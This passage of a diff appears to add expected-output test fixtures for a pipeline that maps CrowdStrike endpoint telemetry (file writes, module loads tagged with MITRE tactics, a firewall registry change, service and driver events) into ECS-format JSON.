"736782612c55c54fc" + }, + "device": { + "id": "3e64efce7e8a490b018d335f25b68760" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "2b0434b299dc23d3e66d5af40855f712e176|3e64efce7e8a490b018d335f25b68760|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"FileOperatorSid\":\"S-43058-61586-47269\",\"ContextBaseFileName\":\"7b31c1d240b3d\",\"FileCategory\":\"1\",\"Size\":\"7000060\",\"ContextThreadId\":\"200084098009700\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.142\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\23579bbe\",\"id\":\"2b0434b299dc23d3e66d5af40855f712e176\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ZipFileWritten\",\"ContextTimeStamp\":\"1760526628.961\",\"ConfigStateHash\":\"9080101000\",\"ContextProcessId\":\"356301901002\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"329\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"76\",\"name\":\"736782612c55c54fc\",\"OperationFlags\":\"0\",\"aid\":\"3e64efce7e8a490b018d335f25b68760\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\a37a4d54\\\\c86835dc\\\\21e\\\\00e1\\\\a686\\\\4e7075fa.tmp\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "device": "835\\b9e65ff8\\23579bbe", + "directory": "\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686", + "extension": "tmp", + "inode": "5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe", + "name": "4e7075fa.tmp", + "path": "\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686\\4e7075fa.tmp", + "size": 7000060, + "type": "file" + }, + "host": { + "id": "3e64efce7e8a490b018d335f25b68760", + "os": { + "type": "windows" + } + }, + "message": "ZipFileWritten", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "3e64efce7e8a490b018d335f25b68760", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "356301901002", + "name": "7b31c1d240b3d", + "thread": { + "id": 200084098009700 + } + }, + "related": { + "hash": [ + "9080101000" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "S-43058-61586-47269" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-43058-61586-47269" + } + }, + { + "@timestamp": "2025-09-15T08:47:27.906Z", + "crowdstrike": { + "Attacks": [ + { + "Tactic": "Defense Evasion", + "Technique": "Subvert Trust Controls" + } + ], + "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36", + "ConfigStateHash": "3164437859", + "ContextProcessId": "617055030004", + "ContextTimeStamp": "2025-09-15T08:47:27.386Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "ImageSignatureLevel": "2", + "ImageSignatureType": "0", + "IsProcessInitializing": "0", + "LocalAddressIP4": [ + "81.2.69.142" + ], + "MappedFromUserMode": "1", + "ModuleCharacteristics": "8450", + "ModuleLoadTelemetryClassification": "256", + "ModuleSize": "40960", + "OriginalFilename": "redacted.dll", + "PrimaryModule": "0", + "SignInfoFlags": "932000", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "b44b58becebd48898306ffd6600bf3f42c16", + "name": "ClassifiedModuleLoadV5" + }, + "device": { + "id": "827afde25ba0eeda5d204a68ff612048" + }, + "dll": { + "Ext": { + "size": 40960 + }, + "code_signature": { + "exists": false, + "trusted": false + }, + "hash": { + "md5": "9fd1131ff976c9a3212a1db685870aa1", + "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d" + }, + "name": ".dll", + "path": "\\\\Device\\\\\\\\Windows\\\\\\\\.dll", + "pe": { + "original_file_name": "redacted.dll" + } + }, + "event": { + "action": "ClassifiedModuleLoad", + "category": [ + "library" + ], + "created": "2025-09-15T08:47:27.906Z", + "id": "b44b58becebd48898306ffd6600bf3f42c16|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ImageSignatureType\":\"0\",\"ModuleCharacteristics\":\"8450\",\"ContextThreadId\":\"32005063951800\",\"aip\":\"89.160.20.128\",\"ModuleLoadTelemetryClassification\":\"256\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"OriginalFilename\":\"redacted.dll\",\"EventOrigin\":\"1\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40960\",\"timestamp\":\"1757926047906\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"ClassifiedModuleLoad\",\"ContextTimeStamp\":\"1757926047.386\",\"ConfigStateHash\":\"3164437859\",\"ContextProcessId\":\"617055030004\",\"IsProcessInitializing\":\"0\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"ImageSignatureLevel\":\"2\",\"TargetProcessId\":\"3542590006570\",\"ImageFileName\":\"\\\\\\\\Device\\\\\\\\\\\\\\\\Windows\\\\\\\\\\\\\\\\.dll\",\"Entitlements\":\"15\",\"name\":\"ClassifiedModuleLoadV5\",\"PrimaryModule\":\"0\",\"ComputerName\":\"redacted-computer-name\",\"TargetImageFileName\":\"\\\\\\\\Device\\\\\\\\\\\\\\\\Program Files (x86)\\\\\\\\.exe\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Subvert Trust Controls\"}],\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "type": [ + "start" + ] + }, + "host": { + "hostname": "redacted-computer-name", + "id": "827afde25ba0eeda5d204a68ff612048", + "name": "redacted-computer-name", + "os": { + "type": "windows" + } + }, + "message": "ClassifiedModuleLoad", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "827afde25ba0eeda5d204a68ff612048", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3542590006570", + "executable": "\\\\Device\\\\\\\\Program Files (x86)\\\\.exe", + "name": ".exe", + "thread": { + "id": 32005063951800 + } + }, + "related": { + "hash": [ + "9fd1131ff976c9a3212a1db685870aa1", + "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d", + "3164437859" + ], + "hosts": [ + "redacted-computer-name" + ], + "ip": [ + "89.160.20.128", + "81.2.69.142" + ] + }, + "source": { + "address": "81.2.69.142", + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.142" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "name": [ + "Defense Evasion" + ] + }, + "technique": { + "name": [ + "Subvert Trust Controls" + ] + } + } + }, + { + "@timestamp": "2025-09-15T08:47:27.906Z", + "crowdstrike": { + "Attacks": [ + { + "Tactic": "Defense Evasion", + "Technique": "Subvert Trust Controls" + } + ], + "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36", + "ConfigStateHash": "3164437859", + "ContextProcessId": "617055030004", + "ContextTimeStamp": "2025-09-15T08:47:27.386Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "ImageSignatureLevel": "0", + "ImageSignatureType": "1", + "IsProcessInitializing": "0", + "LocalAddressIP4": [ + "81.2.69.142" + ], + "MappedFromUserMode": "1", + "ModuleCharacteristics": "8450", + "ModuleLoadTelemetryClassification": "256", + "ModuleSize": "40960", + "OriginalFilename": "redacted.dll", + "PrimaryModule": "0", + "SignInfoFlags": "932000", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "b44b58becebd48898306ffd6600bf3f42c16", + "name": "ClassifiedModuleLoadV5" + }, + "device": { + "id": "827afde25ba0eeda5d204a68ff612048" + }, + "dll": { + "Ext": { + "size": 40960 + }, + "code_signature": { + "exists": true, + "trusted": false + }, + "hash": { + "md5": "9fd1131ff976c9a3212a1db685870aa1", + "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d" + }, + "name": ".dll", + "path": "\\\\Device\\\\\\\\Windows\\\\\\\\.dll", + "pe": { + "original_file_name": "redacted.dll" + } + }, + "event": { + "action": "ClassifiedModuleLoad", + "category": [ + "library" + ], + "created": "2025-09-15T08:47:27.906Z", + "id": "b44b58becebd48898306ffd6600bf3f42c16|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ImageSignatureType\":\"1\",\"ModuleCharacteristics\":\"8450\",\"ContextThreadId\":\"32005063951800\",\"aip\":\"89.160.20.128\",\"ModuleLoadTelemetryClassification\":\"256\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"OriginalFilename\":\"redacted.dll\",\"EventOrigin\":\"1\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40960\",\"timestamp\":\"1757926047906\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"ClassifiedModuleLoad\",\"ContextTimeStamp\":\"1757926047.386\",\"ConfigStateHash\":\"3164437859\",\"ContextProcessId\":\"617055030004\",\"IsProcessInitializing\":\"0\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"ImageSignatureLevel\":\"0\",\"TargetProcessId\":\"3542590006570\",\"ImageFileName\":\"\\\\\\\\Device\\\\\\\\\\\\\\\\Windows\\\\\\\\\\\\\\\\.dll\",\"Entitlements\":\"15\",\"name\":\"ClassifiedModuleLoadV5\",\"PrimaryModule\":\"0\",\"ComputerName\":\"redacted-computer-name\",\"TargetImageFileName\":\"\\\\\\\\Device\\\\\\\\\\\\\\\\Program Files (x86)\\\\\\\\.exe\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Subvert Trust Controls\"}],\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "type": [ + "start" + ] + }, + "host": { + "hostname": "redacted-computer-name", + "id": "827afde25ba0eeda5d204a68ff612048", + "name": "redacted-computer-name", + "os": { + "type": "windows" + } + }, + "message": "ClassifiedModuleLoad", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "827afde25ba0eeda5d204a68ff612048", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3542590006570", + "executable": "\\\\Device\\\\\\\\Program Files (x86)\\\\.exe", + "name": ".exe", + "thread": { + "id": 32005063951800 + } + }, + "related": { + "hash": [ + "9fd1131ff976c9a3212a1db685870aa1", + "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d", + "3164437859" + ], + "hosts": [ + "redacted-computer-name" + ], + "ip": [ + "89.160.20.128", + "81.2.69.142" + ] + }, + "source": { + "address": "81.2.69.142", + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.142" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "name": [ + "Defense Evasion" + ] + }, + "technique": { + "name": [ + "Subvert Trust Controls" + ] + } + } + }, + { + "@timestamp": "2025-09-15T08:47:27.906Z", + "crowdstrike": { + "Attacks": [ + { + "Tactic": "Defense Evasion", + "Technique": "Subvert Trust Controls" + } + ], + "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36", + "ConfigStateHash": "3164437859", + "ContextProcessId": "617055030004", + "ContextTimeStamp": "2025-09-15T08:47:27.386Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "1", + "ImageSignatureLevel": "2", + "ImageSignatureType": "1", + "IsProcessInitializing": "0", + "LocalAddressIP4": [ + "81.2.69.142" + ], + "MappedFromUserMode": "1", + "ModuleCharacteristics": "8450", + "ModuleLoadTelemetryClassification": "256", + "ModuleSize": "40960", + "OriginalFilename": "redacted.dll", + "PrimaryModule": "0", + "SignInfoFlags": "932000", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "b44b58becebd48898306ffd6600bf3f42c16", + "name": "ClassifiedModuleLoadV5" + }, + "device": { + "id": "827afde25ba0eeda5d204a68ff612048" + }, + "dll": { + "Ext": { + "size": 40960 + }, + "code_signature": { + "exists": true, + "trusted": true + }, + "hash": { + "md5": "9fd1131ff976c9a3212a1db685870aa1", + "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d" + }, + "name": ".dll", + "path": "\\\\Device\\\\\\\\Windows\\\\\\\\.dll", + "pe": { + "original_file_name": "redacted.dll" + } + }, + "event": { + "action": "ClassifiedModuleLoad", + "category": [ + "library" + ], + "created": "2025-09-15T08:47:27.906Z", + "id": "b44b58becebd48898306ffd6600bf3f42c16|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ImageSignatureType\":\"1\",\"ModuleCharacteristics\":\"8450\",\"ContextThreadId\":\"32005063951800\",\"aip\":\"89.160.20.128\",\"ModuleLoadTelemetryClassification\":\"256\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"OriginalFilename\":\"redacted.dll\",\"EventOrigin\":\"1\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40960\",\"timestamp\":\"1757926047906\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"ClassifiedModuleLoad\",\"ContextTimeStamp\":\"1757926047.386\",\"ConfigStateHash\":\"3164437859\",\"ContextProcessId\":\"617055030004\",\"IsProcessInitializing\":\"0\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"ImageSignatureLevel\":\"2\",\"TargetProcessId\":\"3542590006570\",\"ImageFileName\":\"\\\\\\\\Device\\\\\\\\\\\\\\\\Windows\\\\\\\\\\\\\\\\.dll\",\"Entitlements\":\"15\",\"name\":\"ClassifiedModuleLoadV5\",\"PrimaryModule\":\"0\",\"ComputerName\":\"redacted-computer-name\",\"TargetImageFileName\":\"\\\\\\\\Device\\\\\\\\\\\\\\\\Program Files (x86)\\\\\\\\.exe\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Subvert Trust Controls\"}],\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "type": [ + "start" + ] + }, + "host": { + "hostname": "redacted-computer-name", + "id": "827afde25ba0eeda5d204a68ff612048", + "name": "redacted-computer-name", + "os": { + "type": "windows" + } + }, + "message": "ClassifiedModuleLoad", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "827afde25ba0eeda5d204a68ff612048", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3542590006570", + "executable": "\\\\Device\\\\\\\\Program Files (x86)\\\\.exe", + "name": ".exe", + "thread": { + "id": 32005063951800 + } + }, + "related": { + "hash": [ + "9fd1131ff976c9a3212a1db685870aa1", + "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d", + "3164437859" + ], + "hosts": [ + "redacted-computer-name" + ], + "ip": [ + "89.160.20.128", + "81.2.69.142" + ] + }, + "source": { + "address": "81.2.69.142", + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.142" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "name": [ + "Defense Evasion" + ] + }, + "technique": { + "name": [ + "Subvert Trust Controls" + ] + } + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "864", + "ConfigStateHash": "2080600092", + "ContextProcessId": "1007045000929", + "ContextTimeStamp": "2025-10-02T16:56:51.858Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "86", + "EventOrigin": "1", + "RegClassification": "334", + "RegClassificationFlags": "1", + "RegClassificationIndex": "718", + "RegObjectName": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}", + "RegOperationType": "1", + "RegStringValue": "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|", + "RegType": "1", + "RegValueName": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "8f2302b7d2a07c5d5568941494e0368e0144", + "name": "24ba14f1e5840e900e581616a2fe" + }, + "device": { + "id": "be027d4cbada339f804f9c19f5a2d5a6" + }, + "event": { + "action": "modification", + "category": [ + "registry", + "host", + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "8f2302b7d2a07c5d5568941494e0368e0144|be027d4cbada339f804f9c19f5a2d5a6|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"RegObjectName\":\"\\\\REGISTRY\\\\MACHINE\\\\SYSTEM\\\\REDACTED\\\\Services\\\\REDACTED\\\\Keyword\\\\REDACTED\\\\Keyword\\\\REDACTED\\\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\",\"ContextThreadId\":\"700420809200030\",\"aip\":\"81.2.69.192\",\"RegClassificationFlags\":\"1\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"8f2302b7d2a07c5d5568941494e0368e0144\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\\\9134161b\\\\3a93a12\\\\82be212b\\\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegSystemConfigValueUpdate\",\"ContextTimeStamp\":\"1759424211.858\",\"ConfigStateHash\":\"2080600092\",\"ContextProcessId\":\"1007045000929\",\"RegType\":\"1\",\"RegClassificationIndex\":\"718\",\"AuthenticationId\":\"864\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\",\"RegClassification\":\"334\",\"Entitlements\":\"86\",\"name\":\"24ba14f1e5840e900e581616a2fe\",\"aid\":\"be027d4cbada339f804f9c19f5a2d5a6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "be027d4cbada339f804f9c19f5a2d5a6", + "os": { + "type": "windows" + } + }, + "message": "RegSystemConfigValueUpdate", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "be027d4cbada339f804f9c19f5a2d5a6", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "1007045000929", + "thread": { + "id": 700420809200030 + } + }, + "registry": { + "data": { + "strings": [ + "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|" + ], + "type": "REG_SZ" + }, + "key": "SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}", + "path": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}", + "value": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}" + }, + "related": { + "hash": [ + "2080600092" + ], + "ip": [ + "81.2.69.192" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-09-15T11:16:49.450Z", + "crowdstrike": { + "AuthenticationId": "333", + "ConfigStateHash": "00000000", + "ContextTimeStamp": "2025-09-15T11:16:48.880Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "17", + "InterfaceGuid": "12ABC-345-56D7-X", + "InterfaceVersion": "1111111", + "LocalAddressIP4": [ + "89.160.20.128" + ], + "RpcClientProcessId": "000000000000", + "RpcClientThreadId": "2222222222222", + "RpcNestingLevel": "0", + "RpcOpNum": "19", + "TokenType": "1", + "cid": "22222bbbbbbbbbbbbbdddddddddd1233", + "id": "aaaaaaaaaa-c6b5-499a-a494-cccccccccc", + "name": "ServiceStartedV2" + }, + "device": { + "id": "11111aaaaaaaaaaaaacccccccccddddd" + }, + "event": { + "action": "ServiceStarted", + "category": [ + "process" + ], + "created": "2025-09-15T11:16:49.450Z", + "id": "aaaaaaaaaa-c6b5-499a-a494-cccccccccc|11111aaaaaaaaaaaaacccccccccddddd|22222bbbbbbbbbbbbbdddddddddd1233", + "kind": "event", + "original": "{\"aip\":\"89.160.20.128\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"17\",\"InterfaceGuid\":\"12ABC-345-56D7-X\",\"RpcClientProcessId\":\"000000000000\",\"id\":\"aaaaaaaaaa-c6b5-499a-a494-cccccccccc\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757935009450\",\"LocalAddressIP4\":\"89.160.20.128\",\"event_simpleName\":\"ServiceStarted\",\"ContextTimeStamp\":\"1757935008.880\",\"UserName\":\"redacted-computer-name\",\"ConfigStateHash\":\"00000000\",\"InterfaceVersion\":\"1111111\",\"RpcClientThreadId\":\"2222222222222\",\"AuthenticationId\":\"333\",\"ServiceDisplayName\":\"\",\"ConfigBuild\":\"1007.3.0019907.15\",\"CommandLine\":\"C:\\\\Windows\\\\system32\\\\.exe\",\"TargetProcessId\":\"444444444444\",\"ImageFileName\":\"\\\\Device\\\\Volume\\\\Windows\\\\System32\\\\.exe\",\"RpcOpNum\":\"19\",\"Entitlements\":\"15\",\"name\":\"ServiceStartedV2\",\"ComputerName\":\"redacted-user-name\",\"aid\":\"11111aaaaaaaaaaaaacccccccccddddd\",\"RpcNestingLevel\":\"0\",\"cid\":\"22222bbbbbbbbbbbbbdddddddddd1233\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "hostname": "redacted-user-name", + "id": "11111aaaaaaaaaaaaacccccccccddddd", + "name": "redacted-user-name", + "os": { + "type": "windows" + } + }, + "message": "ServiceStarted", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "11111aaaaaaaaaaaaacccccccccddddd", + "version": "1007.3.0019907.15" + }, + "process": { + "args": [ + "C:\\Windows\\system32\\.exe" + ], + "args_count": 1, + "command_line": "C:\\Windows\\system32\\.exe", + "entity_id": "444444444444", + "executable": "\\Device\\Volume\\Windows\\System32\\.exe", + "name": ".exe", + "title": "" + }, + "related": { + "hash": [ + "00000000" + ], + "hosts": [ + "redacted-user-name" + ], + "ip": [ + "89.160.20.128" + ], + "user": [ + "redacted-computer-name" + ] + }, + "source": { + "address": "89.160.20.128", + "as": { + "number": 29518, + "organization": { + "name": "Bredband2 AB" + } + }, + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": "89.160.20.128" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "redacted-computer-name" + } + }, + { + "@timestamp": "2025-09-15T03:12:42.256Z", + "crowdstrike": { + "AuthenticodeHashData": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "AuthenticodeHashDataSHA256": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "CertificateIssuer": "Microsoft Windows Production PCA 2011", + "CertificatePublisher": "Microsoft Windows", + "CertificateSignatureHash": "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "CertificateSignatureHashAlgorithm": "32780", + "CompanyName": "Microsoft Corporation", + "ConfigStateHash": "111111111", + "ContextProcessId": "000000000000", + "ContextTimeStamp": "2025-09-15T03:12:38.885Z", + "DriverLoadFlags": "0", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "EventOrigin": "17", + "FileVersion": "4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)", + "FixedFileVersion": "4.18.25070.5", + "HashAlgorithm": "32780", + "ImageCheckSum": "123456", + "ImageEntryPoint": "94208", + "ImageTimeStamp": "2448850720", + "LocalAddressIP4": [ + "89.160.20.128" + ], + "OriginalFilename": "wdnisdrv.sys", + "RpcClientProcessId": "000000000000", + "RpcClientThreadId": "1908581779603", + "cid": "22222bbbbbbbbbbbbbdddddddddd1233", + "id": "aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb", + "name": "DriverLoadV6" + }, + "device": { + "id": "11111aaaaaaaaaaaaacccccccccddddd" + }, + "dll": { + "code_signature": { + "subject_name": "Microsoft Windows" + }, + "hash": { + "md5": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "sha256": "cccccccccccccccccccccccccccccccccccccccccccccccccccccc" + }, + "name": "WdNisDrv.sys", + "path": "\\Device\\Volume\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys", + "pe": { + "original_file_name": "wdnisdrv.sys" + } + }, + "event": { + "action": "load", + "category": [ + 